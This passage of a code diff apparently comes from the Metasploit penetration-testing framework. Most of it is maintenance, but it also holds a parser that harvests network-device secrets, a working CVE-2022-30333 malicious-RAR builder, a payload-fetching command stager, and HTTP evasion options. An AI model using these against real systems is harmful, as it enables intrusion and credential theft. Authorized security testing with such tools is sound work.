next unless framework.db.active
|
||||
|
||||
cred = credential_data.dup
|
||||
if snmp_permissions.downcase == 'write'
|
||||
cred[:access_level] = 'RW'
|
||||
else
|
||||
cred[:access_level] = 'RO'
|
||||
end
|
||||
cred[:protocol] = 'udp'
|
||||
cred[:port] = 161
|
||||
cred[:private_data] = snmp_community
|
||||
cred[:private_type] = :password
|
||||
cred[:service_name] = 'snmp'
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
|
||||
# radius-server
|
||||
config.scan(/\s*radius-server \{([^}]+)\}/i).each do |result_block|
|
||||
result_block[0].strip.scan(/(?<radius_server>[0-9.]{7,15}) secret "(?<radius_hash>[^"]+)";/i).each do |result|
|
||||
radius_hash = result[1].strip
|
||||
radius_server = result[0].strip
|
||||
print_good("radius server #{radius_server} password hash: #{radius_hash}")
|
||||
next unless framework.db.active
|
||||
|
||||
cred = credential_data.dup
|
||||
cred[:address] = radius_server
|
||||
cred[:port] = 1812
|
||||
cred[:protocol] = 'udp'
|
||||
cred[:private_data] = radius_hash
|
||||
cred[:service_name] = 'radius'
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
end
|
||||
|
||||
# tacplus-server
|
||||
config.scan(/\s*tacplus-server \{([^}]+)\}/i).each do |result_block|
|
||||
result_block[0].strip.scan(/(?<tacplus_server>[0-9.]{7,15}) secret "(?<hash>[^"]+)";/i).each do |result|
|
||||
ip = result[0].strip
|
||||
hash = result[1].strip
|
||||
jtr_format = identify_hash hash
|
||||
print_good("tacplus server #{ip} with password hash #{hash}")
|
||||
next unless framework.db.active
|
||||
|
||||
cred = credential_data.dup
|
||||
cred[:jtr_format] = jtr_format
|
||||
cred[:private_data] = hash
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
end
|
||||
|
||||
config.scan(/pap {\s+local-name "(?<ppp_username>.+)";\s+local-password "(?<ppp_hash>[^"]+)";/i).each do |result|
|
||||
ppp_username = result[0].strip
|
||||
ppp_hash = result[1].strip
|
||||
print_good("PPTP username #{ppp_username} hash #{ppp_hash} via PAP")
|
||||
next unless framework.db.active
|
||||
|
||||
cred = credential_data.dup
|
||||
cred[:username] = ppp_username
|
||||
cred[:private_data] = ppp_hash
|
||||
cred[:service_name] = 'pptp'
|
||||
cred[:port] = 1723
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -130,7 +130,7 @@ module DbConnector
|
||||
# Connect to a database via the supplied yaml file
|
||||
#
|
||||
def self.db_connect_yaml(framework, opts)
|
||||
file = opts[:yaml_file] || ::File.join(Msf::Config.get_config_root, 'database.yml')
|
||||
file = opts[:yaml_file] || ::File.join(Msf::Config.config_directory, 'database.yml')
|
||||
file = ::File.expand_path(file)
|
||||
unless ::File.exist?(file)
|
||||
return { error: 'File not found' }
|
||||
|
||||
@@ -26,7 +26,8 @@ module Exploit::CmdStager
|
||||
:curl => Rex::Exploitation::CmdStagerCurl,
|
||||
:fetch => Rex::Exploitation::CmdStagerFetch,
|
||||
:lwprequest => Rex::Exploitation::CmdStagerLwpRequest,
|
||||
:psh_invokewebrequest => Rex::Exploitation::CmdStagerPSHInvokeWebRequest
|
||||
:psh_invokewebrequest => Rex::Exploitation::CmdStagerPSHInvokeWebRequest,
|
||||
:ftp_http => Rex::Exploitation::CmdStagerFtpHttp,
|
||||
}
|
||||
|
||||
# Constant for decoders - used when checking the default flavor decoder.
|
||||
@@ -55,7 +56,7 @@ module Exploit::CmdStager
|
||||
flavors = STAGERS.keys if flavors.empty?
|
||||
flavors.unshift('auto')
|
||||
|
||||
server_conditions = ['CMDSTAGER::FLAVOR', 'in', %w{auto certutil tftp wget curl fetch lwprequest psh_invokewebrequest}]
|
||||
server_conditions = ['CMDSTAGER::FLAVOR', 'in', %w{auto certutil tftp wget curl fetch lwprequest psh_invokewebrequest ftp_http}]
|
||||
register_options(
|
||||
[
|
||||
OptAddressLocal.new('SRVHOST', [true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.', '0.0.0.0' ], conditions: server_conditions),
|
||||
@@ -67,6 +68,7 @@ module Exploit::CmdStager
|
||||
OptEnum.new('CMDSTAGER::FLAVOR', [false, 'The CMD Stager to use.', 'auto', flavors]),
|
||||
OptString.new('CMDSTAGER::DECODER', [false, 'The decoder stub to use.']),
|
||||
OptString.new('CMDSTAGER::TEMP', [false, 'Writable directory for staged files']),
|
||||
OptString.new('CMDSTAGER::URIPATH', [false, 'Payload URI path for supported stagers']),
|
||||
OptBool.new('CMDSTAGER::SSL', [false, 'Use SSL/TLS for supported stagers', false])
|
||||
], self.class)
|
||||
end
|
||||
@@ -147,6 +149,7 @@ module Exploit::CmdStager
|
||||
|
||||
if stager_instance.respond_to?(:http?) && stager_instance.http?
|
||||
opts[:ssl] = datastore['CMDSTAGER::SSL'] unless opts.key?(:ssl)
|
||||
opts['Path'] = datastore['CMDSTAGER::URIPATH'] unless datastore['CMDSTAGER::URIPATH'].blank?
|
||||
opts[:payload_uri] = start_service(opts)
|
||||
end
|
||||
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
# Encoding: ASCII-8BIT
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
module Format
|
||||
# The RarSymlinkPathTraversal mixin provides methods for generating a RAR file
|
||||
# that exploits CVE-2022-30333, which can write an arbitrary file to an arbitrary
|
||||
# location on a Linux filesystem
|
||||
module RarSymlinkPathTraversal
|
||||
# Encode arbitrary data to be extracted to an arbitrary path on versions of
|
||||
# unrar that are affected by CVE-2022-30333
|
||||
def encode_as_traversal_rar(symlink_name, target_path, data)
|
||||
# Exactly 104 characters isn't allowed because we need to null-terminate
|
||||
unless target_path.length < 104
|
||||
raise ArgumentError, 'The RAR filename target is too long (max length: 103 characters)'
|
||||
end
|
||||
|
||||
# Data and symlink_name don't need to be null-terminated, just padded
|
||||
unless data.length <= 4096
|
||||
raise ArgumentError, "The RAR file data is too long (max length: 4096 bytes, it was #{data.length})"
|
||||
end
|
||||
|
||||
unless symlink_name.length <= 12
|
||||
raise ArgumentError, 'The symlink is too long (max length: 12 characters)'
|
||||
end
|
||||
|
||||
# Null terminate the path, pad with NUL bytes, and invert the slashes
|
||||
symlink_target = (target_path + "\0").gsub('/', '\\')
|
||||
symlink_target.concat(rand(255).chr) while symlink_target.length < 104
|
||||
|
||||
symlink_name = symlink_name.ljust(12, "\0")
|
||||
|
||||
# Pad the data to the full length
|
||||
data.concat(rand(255).chr) while data.length < 4096
|
||||
|
||||
# Build a RAR file from pieces, filling in the blanks with our payloads.
|
||||
# The RAR format is non-free (and complex), so this is the easiest way to
|
||||
# build a payload file
|
||||
rar = "\x52\x61\x72\x21\x1a\x07\x01\x00\xf3\xe1\x82\xeb\x0b\x01\x05\x07\x00\x06\x01\x01\x80\x80\x80\x00"
|
||||
|
||||
# Create the first section (with the symlink), and attach with its CRC32
|
||||
rar_section1 = ''
|
||||
rar_section1.concat("\x94\x01\x02\x03\x78\x00\x04\x00\xa0\x08\x00\x00\x00\x00\x80\x00\x00\x0c")
|
||||
rar_section1.concat(symlink_name) # Symlink filename
|
||||
rar_section1.concat("\x0a\x03\x02\xae\xf0\x37\x1c\x91\x98\xd8\x01\x6c\x05\x02\x00\x68")
|
||||
rar_section1.concat(symlink_target)
|
||||
rar.concat([Zlib.crc32(rar_section1), rar_section1].pack('Va*'))
|
||||
|
||||
# Create the second section (with the data), and attach with its CRC32
|
||||
rar_section2 = ''
|
||||
rar_section2.concat("\x28\x02\x03\x0b\x80\x20\x04\x80\x20\x20")
|
||||
rar_section2.concat([Zlib.crc32(data)].pack('V'))
|
||||
rar_section2.concat("\x80\x00\x00\x0c")
|
||||
rar_section2.concat(symlink_name) # Data filename (same as symlink to overwrite it)
|
||||
rar_section2.concat("\x0a\x03\x02\x00\x36\xe3\x00\x91\x98\xd8\x01")
|
||||
rar.concat([Zlib.crc32(rar_section2), rar_section2].pack('Va*'))
|
||||
|
||||
rar.concat(data)
|
||||
|
||||
# This tail doesn't seem necessary, but I don't want to mess with it
|
||||
rar.concat("\x1d\x77\x56\x51\x03\x05\x04\x00")
|
||||
|
||||
rar
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -97,15 +97,28 @@ module Msf::Exploit::Remote::HTTP::Typo3::Login
|
||||
# @param password [String] The clear text password to encrypt
|
||||
# @return [String] the base64 encoded password with prefixed 'rsa:'
|
||||
def typo3_helper_login_rsa(e, n, password)
|
||||
key = OpenSSL::PKey::RSA.new
|
||||
exponent = OpenSSL::BN.new e.hex.to_s
|
||||
modulus = OpenSSL::BN.new n.hex.to_s
|
||||
if key.respond_to?(:set_key)
|
||||
# Ruby 2.4+
|
||||
key.set_key(modulus, exponent, nil)
|
||||
# OpenSSL 3.0+
|
||||
if OpenSSL::PKey.respond_to?(:generate_key)
|
||||
exponent = OpenSSL::BN.new e.hex
|
||||
modulus = OpenSSL::BN.new n.hex
|
||||
asn1 = OpenSSL::ASN1::Sequence(
|
||||
[
|
||||
OpenSSL::ASN1::Integer(modulus),
|
||||
OpenSSL::ASN1::Integer(exponent),
|
||||
]
|
||||
)
|
||||
key = OpenSSL::PKey::RSA.new(asn1.to_der)
|
||||
else
|
||||
key.e = exponent
|
||||
key.n = modulus
|
||||
key = OpenSSL::PKey::RSA.new
|
||||
exponent = OpenSSL::BN.new e.hex.to_s
|
||||
modulus = OpenSSL::BN.new n.hex.to_s
|
||||
if key.respond_to?(:set_key)
|
||||
# Ruby 2.4+
|
||||
key.set_key(modulus, exponent, nil)
|
||||
else
|
||||
key.e = exponent
|
||||
key.n = modulus
|
||||
end
|
||||
end
|
||||
enc = key.public_encrypt(password)
|
||||
enc_b64 = Rex::Text.encode_base64(enc)
|
||||
|
||||
@@ -74,6 +74,8 @@ module Exploit::Remote::HttpClient
|
||||
OptInt.new('HTTP::pad_get_params_count', [false, 'How many fake query string variables to insert into the request', 16]),
|
||||
OptBool.new('HTTP::pad_post_params', [false, 'Insert random, fake post variables into the request', false]),
|
||||
OptInt.new('HTTP::pad_post_params_count', [false, 'How many fake post variables to insert into the request', 16]),
|
||||
OptBool.new('HTTP::shuffle_get_params', [false, 'Randomize order of GET parameters', false]),
|
||||
OptBool.new('HTTP::shuffle_post_params', [false, 'Randomize order of POST parameters', false]),
|
||||
OptBool.new('HTTP::uri_fake_end', [false, 'Add a fake end of URI (eg: /%20HTTP/1.0/../../)', false]),
|
||||
OptBool.new('HTTP::uri_fake_params_start', [false, 'Add a fake start of params to the URI (eg: /%3fa=b/../)', false]),
|
||||
OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', false])
|
||||
@@ -192,6 +194,8 @@ module Exploit::Remote::HttpClient
|
||||
'pad_get_params_count' => datastore['HTTP::pad_get_params_count'],
|
||||
'pad_post_params' => datastore['HTTP::pad_post_params'],
|
||||
'pad_post_params_count' => datastore['HTTP::pad_post_params_count'],
|
||||
'shuffle_get_params' => datastore['HTTP::shuffle_get_params'],
|
||||
'shuffle_post_params' => datastore['HTTP::shuffle_post_params'],
|
||||
'uri_fake_end' => datastore['HTTP::uri_fake_end'],
|
||||
'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'],
|
||||
'header_folding' => datastore['HTTP::header_folding'],
|
||||
@@ -293,6 +297,8 @@ module Exploit::Remote::HttpClient
|
||||
evade_pad_get_params_count: datastore['HTTP::pad_get_params_count'],
|
||||
evade_pad_post_params: datastore['HTTP::pad_post_params'],
|
||||
evade_pad_post_params_count: datastore['HTTP::pad_post_params_count'],
|
||||
evade_shuffle_get_params: datastore['HTTP::shuffle_get_params'],
|
||||
evade_shuffle_post_params: datastore['HTTP::shuffle_post_params'],
|
||||
evade_uri_fake_end: datastore['HTTP::uri_fake_end'],
|
||||
evade_uri_fake_params_start: datastore['HTTP::uri_fake_params_start'],
|
||||
evade_header_folding: datastore['HTTP::header_folding'],
|
||||
|
||||
@@ -44,7 +44,7 @@ module Msf
|
||||
time_stamp = opts[:time_stamp] || Time.now
|
||||
pausec = opts[:pausec] || 0
|
||||
etype = opts[:etype] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
|
||||
key = opts[:key] || ''
|
||||
key = opts[:key] || OpenSSL::Random.random_bytes(16)
|
||||
|
||||
pa_time_stamp = Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp.new(
|
||||
pa_time_stamp: time_stamp,
|
||||
|
||||
@@ -1,4 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'metasploit/framework/mssql/base'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
@@ -12,32 +15,7 @@ module Exploit::Remote::MSSQL
|
||||
include Exploit::Remote::Udp
|
||||
include Exploit::Remote::Tcp
|
||||
include Exploit::Remote::NTLM::Client
|
||||
|
||||
# Encryption
|
||||
ENCRYPT_OFF = 0x00 #Encryption is available but off.
|
||||
ENCRYPT_ON = 0x01 #Encryption is available and on.
|
||||
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
|
||||
ENCRYPT_REQ = 0x03 #Encryption is required.
|
||||
|
||||
# Packet Type
|
||||
TYPE_SQL_BATCH = 1 # (Client) SQL command
|
||||
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
|
||||
TYPE_RPC = 3 # (Client) RPC
|
||||
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
|
||||
# Request Completion, Error and Info Messages, Attention Acknowledgement
|
||||
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
|
||||
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
|
||||
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
|
||||
TYPE_TDS7_LOGIN = 16 # (Client) Login
|
||||
TYPE_SSPI_MESSAGE = 17 # (Client) Login
|
||||
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
|
||||
|
||||
# Status
|
||||
STATUS_NORMAL = 0x00
|
||||
STATUS_END_OF_MESSAGE = 0x01
|
||||
STATUS_IGNORE_EVENT = 0x02
|
||||
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
|
||||
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
|
||||
include Metasploit::Framework::MSSQL::Base
|
||||
|
||||
#
|
||||
# Creates an instance of a MSSQL exploit module.
|
||||
@@ -225,52 +203,6 @@ module Exploit::Remote::MSSQL
|
||||
print_status("Be sure to cleanup #{var_payload}.exe...")
|
||||
end
|
||||
|
||||
#
|
||||
# Send and receive using TDS
|
||||
#
|
||||
def mssql_send_recv(req, timeout=15, check_status = true)
|
||||
sock.put(req)
|
||||
|
||||
# Read the 8 byte header to get the length and status
|
||||
# Read the length to get the data
|
||||
# If the status is 0, read another header and more data
|
||||
|
||||
done = false
|
||||
resp = ""
|
||||
|
||||
while(not done)
|
||||
head = sock.get_once(8, timeout)
|
||||
if !(head && head.length == 8)
|
||||
return false
|
||||
end
|
||||
|
||||
# Is this the last buffer?
|
||||
if(head[1, 1] == "\x01" or not check_status )
|
||||
done = true
|
||||
end
|
||||
|
||||
# Grab this block's length
|
||||
rlen = head[2, 2].unpack('n')[0] - 8
|
||||
|
||||
while(rlen > 0)
|
||||
buff = sock.get_once(rlen, timeout)
|
||||
return if not buff
|
||||
resp << buff
|
||||
rlen -= buff.length
|
||||
end
|
||||
end
|
||||
|
||||
resp
|
||||
end
|
||||
|
||||
#
|
||||
# Encrypt a password according to the TDS protocol (encode)
|
||||
#
|
||||
def mssql_tds_encrypt(pass)
|
||||
# Convert to unicode, swap 4 bits both ways, xor with 0xa5
|
||||
Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*")
|
||||
end
|
||||
|
||||
#
|
||||
#this method send a prelogin packet and check if encryption is off
|
||||
#
|
||||
@@ -641,7 +573,6 @@ module Exploit::Remote::MSSQL
|
||||
info
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Nicely print the results of a SQL query
|
||||
#
|
||||
@@ -675,278 +606,5 @@ module Exploit::Remote::MSSQL
|
||||
print_line(tbl.to_s)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Parse a raw TDS reply from the server
|
||||
#
|
||||
def mssql_parse_tds_reply(data, info)
|
||||
info[:errors] ||= []
|
||||
info[:colinfos] ||= []
|
||||
info[:colnames] ||= []
|
||||
|
||||
# Parse out the columns
|
||||
cols = data.slice!(0, 2).unpack('v')[0]
|
||||
0.upto(cols-1) do |col_idx|
|
||||
col = {}
|
||||
info[:colinfos][col_idx] = col
|
||||
|
||||
col[:utype] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:flags] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:type] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
case col[:type]
|
||||
when 48
|
||||
col[:id] = :tinyint
|
||||
|
||||
when 52
|
||||
col[:id] = :smallint
|
||||
|
||||
when 56
|
||||
col[:id] = :rawint
|
||||
|
||||
when 61
|
||||
col[:id] = :datetime
|
||||
|
||||
when 34
|
||||
col[:id] = :image
|
||||
col[:max_size] = data.slice!(0, 4).unpack('V')[0]
|
||||
col[:value_length] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
|
||||
|
||||
when 36
|
||||
col[:id] = :string
|
||||
|
||||
when 38
|
||||
col[:id] = :int
|
||||
col[:int_size] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
when 127
|
||||
col[:id] = :bigint
|
||||
|
||||
when 165
|
||||
col[:id] = :hex
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
|
||||
when 173
|
||||
col[:id] = :hex # binary(2)
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
|
||||
when 231, 175, 167, 239
|
||||
col[:id] = :string
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:codepage] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:cflags] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:charset_id] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
else
|
||||
col[:id] = :unknown
|
||||
end
|
||||
|
||||
col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
if col[:msg_len] && col[:msg_len] > 0
|
||||
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
|
||||
end
|
||||
info[:colnames] << (col[:name] || 'NULL')
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Parse individual tokens from a TDS reply
|
||||
#
|
||||
def mssql_parse_reply(data, info)
|
||||
info[:errors] = []
|
||||
return if not data
|
||||
until data.empty?
|
||||
token = data.slice!(0, 1).unpack('C')[0]
|
||||
case token
|
||||
when 0x81
|
||||
mssql_parse_tds_reply(data, info)
|
||||
when 0xd1
|
||||
mssql_parse_tds_row(data, info)
|
||||
when 0xe3
|
||||
mssql_parse_env(data, info)
|
||||
when 0x79
|
||||
mssql_parse_ret(data, info)
|
||||
when 0xfd, 0xfe, 0xff
|
||||
mssql_parse_done(data, info)
|
||||
when 0xad
|
||||
mssql_parse_login_ack(data, info)
|
||||
when 0xab
|
||||
mssql_parse_info(data, info)
|
||||
when 0xaa
|
||||
mssql_parse_error(data, info)
|
||||
when nil
|
||||
break
|
||||
else
|
||||
info[:errors] << "unsupported token: #{token}"
|
||||
end
|
||||
end
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a single row of a TDS reply
|
||||
#
|
||||
def mssql_parse_tds_row(data, info)
|
||||
info[:rows] ||= []
|
||||
row = []
|
||||
|
||||
info[:colinfos].each do |col|
|
||||
|
||||
if(data.length == 0)
|
||||
row << "<EMPTY>"
|
||||
next
|
||||
end
|
||||
|
||||
case col[:id]
|
||||
when :hex
|
||||
str = ""
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
if len > 0 && len < 65535
|
||||
str << data.slice!(0, len)
|
||||
end
|
||||
row << str.unpack("H*")[0]
|
||||
|
||||
when :string
|
||||
str = ""
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
if len > 0 && len < 65535
|
||||
str << data.slice!(0, len)
|
||||
end
|
||||
row << str.gsub("\x00", '')
|
||||
|
||||
when :datetime
|
||||
row << data.slice!(0, 8).unpack("H*")[0]
|
||||
|
||||
when :rawint
|
||||
row << data.slice!(0, 4).unpack('V')[0]
|
||||
|
||||
when :bigint
|
||||
row << data.slice!(0, 8).unpack("H*")[0]
|
||||
|
||||
when :smallint
|
||||
row << data.slice!(0, 2).unpack("v")[0]
|
||||
|
||||
when :smallint3
|
||||
row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0]
|
||||
|
||||
when :tinyint
|
||||
row << data.slice!(0, 1).unpack("C")[0]
|
||||
|
||||
when :image
|
||||
str = ''
|
||||
len = data.slice!(0, 1).unpack('C')[0]
|
||||
str = data.slice!(0, len) if len && len > 0
|
||||
row << str.unpack("H*")[0]
|
||||
|
||||
when :int
|
||||
len = data.slice!(0, 1).unpack("C")[0]
|
||||
raw = data.slice!(0, len) if len && len > 0
|
||||
|
||||
case len
|
||||
when 0, 255
|
||||
row << ''
|
||||
when 1
|
||||
row << raw.unpack("C")[0]
|
||||
when 2
|
||||
row << raw.unpack('v')[0]
|
||||
when 4
|
||||
row << raw.unpack('V')[0]
|
||||
when 5
|
||||
row << raw.unpack('V')[0] # XXX: missing high byte
|
||||
when 8
|
||||
row << raw.unpack('VV')[0] # XXX: missing high dword
|
||||
else
|
||||
info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
|
||||
end
|
||||
else
|
||||
info[:errors] << "unknown column type: #{col.inspect}"
|
||||
end
|
||||
end
|
||||
|
||||
info[:rows] << row
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "ret" TDS token
|
||||
#
|
||||
def mssql_parse_ret(data, info)
|
||||
ret = data.slice!(0, 4).unpack('N')[0]
|
||||
info[:ret] = ret
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "done" TDS token
|
||||
#
|
||||
def mssql_parse_done(data, info)
|
||||
status, cmd, rows = data.slice!(0, 8).unpack('vvV')
|
||||
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "error" TDS token
|
||||
#
|
||||
def mssql_parse_error(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
|
||||
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
|
||||
emsg = buff.slice!(0, elen * 2)
|
||||
emsg.gsub!("\x00", '')
|
||||
|
||||
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "environment change" TDS token
|
||||
#
|
||||
def mssql_parse_env(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
type = buff.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
nval = ''
|
||||
nlen = buff.slice!(0, 1).unpack('C')[0] || 0
|
||||
nval = buff.slice!(0, nlen * 2).gsub("\x00", '') if nlen > 0
|
||||
|
||||
oval = ''
|
||||
olen = buff.slice!(0, 1).unpack('C')[0] || 0
|
||||
oval = buff.slice!(0, olen * 2).gsub("\x00", '') if olen > 0
|
||||
|
||||
info[:envs] ||= []
|
||||
info[:envs] << { :type => type, :old => oval, :new => nval }
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "information" TDS token
|
||||
#
|
||||
def mssql_parse_info(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
|
||||
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
|
||||
emsg = buff.slice!(0, elen * 2)
|
||||
emsg.gsub!("\x00", '')
|
||||
|
||||
info[:infos] ||= []
|
||||
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "login ack" TDS token
|
||||
#
|
||||
def mssql_parse_login_ack(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
_buff = data.slice!(0, len)
|
||||
info[:login_ack] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -145,8 +145,12 @@ module Msf
|
||||
def default_version_string
|
||||
require 'rex/proto/ssh/connection'
|
||||
Rex::Proto::Ssh::Connection.default_options['local_version']
|
||||
rescue OpenSSL::OpenSSLError => e
|
||||
print_error("ReverseSSH handler did not load with OpenSSL version #{OpenSSL::VERSION}")
|
||||
elog(e)
|
||||
'SSH-2.0-OpenSSH_5.3p1'
|
||||
rescue LoadError => e
|
||||
print_error("This handler requires PTY access not available on all platforms.")
|
||||
print_error('ReverseSSH handler did not load as PTY access is not available on all platforms.')
|
||||
elog(e)
|
||||
'SSH-2.0-OpenSSH_5.3p1'
|
||||
end
|
||||
|
||||
@@ -183,6 +183,13 @@ class Msf::Modules::Loader::Base
|
||||
causal_message: 'invalid module filename (must be lowercase alphanumeric snake case)'
|
||||
))
|
||||
return false
|
||||
rescue => e
|
||||
load_error(module_path, Msf::Modules::Error.new(
|
||||
module_path: module_path,
|
||||
module_reference_name: module_reference_name,
|
||||
causal_message: "unknown error #{e.message}"
|
||||
))
|
||||
return false
|
||||
end
|
||||
|
||||
|
||||
|
||||
@@ -251,7 +251,7 @@ module Msf::Post::File
|
||||
end
|
||||
raise "`writable?' method does not support Windows systems" if session.platform == 'windows'
|
||||
|
||||
cmd_exec("test -w '#{path}' && echo true").to_s.include? 'true'
|
||||
cmd_exec("(test -w '#{path}' || test -O '#{path}') && echo true").to_s.include? 'true'
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -210,14 +210,6 @@ module System
|
||||
cmd_exec("echo $$").to_s
|
||||
end
|
||||
|
||||
#
|
||||
# Gets the pid of the current session
|
||||
# @return [String]
|
||||
#
|
||||
def get_session_pid
|
||||
cmd_exec("echo $PPID").to_s
|
||||
end
|
||||
|
||||
#
|
||||
# Checks if the system has gcc installed
|
||||
# @return [Boolean]
|
||||
|
||||
@@ -10,6 +10,14 @@ module Msf::Post::Unix
|
||||
(cmd_exec('id -u').to_s.gsub(/[^\d]/, '') == '0')
|
||||
end
|
||||
|
||||
#
|
||||
# Gets the pid of the current session
|
||||
# @return [String]
|
||||
#
|
||||
def get_session_pid
|
||||
cmd_exec("echo $PPID").to_s
|
||||
end
|
||||
|
||||
#
|
||||
# Returns an array of hashes each representing a user
|
||||
# Keys are name, uid, gid, info, dir and shell
|
||||
@@ -99,7 +107,7 @@ module Msf::Post::Unix
|
||||
#
|
||||
def whoami
|
||||
shellpid = get_session_pid()
|
||||
status = read_file("/proc/#{shellpid}/status")
|
||||
status = read_file("/proc/#{shellpid}/status")
|
||||
status.each_line do |line|
|
||||
split = line.split(":")
|
||||
if split[0] == "Uid"
|
||||
|
||||
@@ -50,15 +50,12 @@ module Msf::Post::Windows::Priv
|
||||
def is_admin?
|
||||
if session_has_ext
|
||||
# Assume true if the OS doesn't expose this (Windows 2000)
|
||||
session.railgun.shell32.IsUserAnAdmin()["return"] rescue true
|
||||
else
|
||||
local_service_key = registry_enumkeys('HKU\S-1-5-19')
|
||||
if local_service_key
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
return session.railgun.shell32.IsUserAnAdmin()['return'] rescue true
|
||||
end
|
||||
|
||||
local_service_key = registry_enumkeys('HKU\S-1-5-19')
|
||||
|
||||
!local_service_key.blank?
|
||||
end
|
||||
|
||||
# Steals the current user's token.
|
||||
@@ -125,14 +122,11 @@ module Msf::Post::Windows::Priv
|
||||
def is_system?
|
||||
if session_has_ext
|
||||
return session.sys.config.is_system?
|
||||
else
|
||||
results = registry_enumkeys('HKLM\SAM\SAM')
|
||||
if results
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
sam = registry_enumkeys('HKLM\SAM\SAM')
|
||||
|
||||
!sam.blank?
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -311,14 +311,17 @@ protected
|
||||
subkeys = []
|
||||
reg_data_types = 'REG_SZ|REG_MULTI_SZ|REG_DWORD_BIG_ENDIAN|REG_DWORD|REG_BINARY|'
|
||||
reg_data_types << 'REG_DWORD_LITTLE_ENDIAN|REG_NONE|REG_EXPAND_SZ|REG_LINK|REG_FULL_RESOURCE_DESCRIPTOR'
|
||||
|
||||
bslashes = key.count('\\')
|
||||
bslashes = bslashes - 1 if key.ends_with?('\\')
|
||||
|
||||
results = shell_registry_cmd("query \"#{key}\"", view)
|
||||
unless results.include?('Error')
|
||||
unless results.to_s.upcase.starts_with?('ERROR:')
|
||||
results.each_line do |line|
|
||||
# now let's keep the ones that have a count = bslashes+1
|
||||
# feels like there's a smarter way to do this but...
|
||||
if (line.count('\\') == bslashes+1 && !line.ends_with?('\\'))
|
||||
#then it's a first level subkey
|
||||
# then it's a first level subkey
|
||||
subkeys << line.split('\\').last.chomp # take & chomp the last item only
|
||||
end
|
||||
end
|
||||
@@ -336,7 +339,7 @@ protected
|
||||
reg_data_types << 'REG_DWORD_LITTLE_ENDIAN|REG_NONE|REG_EXPAND_SZ|REG_LINK|REG_FULL_RESOURCE_DESCRIPTOR'
|
||||
